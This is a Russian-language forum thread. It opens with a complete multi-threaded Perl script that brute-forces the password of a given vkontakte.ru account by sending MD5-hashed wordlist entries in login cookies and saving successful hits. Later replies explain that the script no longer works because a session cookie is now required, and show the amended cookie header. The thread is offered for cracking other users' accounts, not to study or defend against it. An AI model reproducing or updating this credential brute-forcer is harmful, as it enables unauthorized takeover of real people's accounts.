Старый добрый брут ..)

#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

# C!klodoL
# vkontakte.ru bruteforce with multi-threads
$dic = 'ps.txt';
$id = ****4266;
$mail = '**********%40****.RU';
$threads = 4;

open (pass, "<$dic");

Next:
@pass = pass();

for(0..$threads) {$trl[$_] = threads->create(&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while (@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPor t=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: Mozillo\r\n".
"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
"Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}

}

goto Next;

sub pass
{
my (@mas);
while (<pass>){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}

что не так?

 

Наверно то, что он реально старый и капча уже стоит

 

ясно, спс) и сорри за тупую тему, я нуб просто еще))

 

он уже не актуален

 

причем тут капча? он брутит куками
"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n"
но!
вконтакте с недавних пор павлик догадался наконец поставить сессии....
так что вся эта хрень стала неактуальной.

"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5 remixsid=8671c0f470*****6182efe**********bda038ac43f9d88613f\r\n"

remixsid.length==56;
без remixsid вы ниче терь не сможете. можете забыть про бруты и чекеры этого говносайта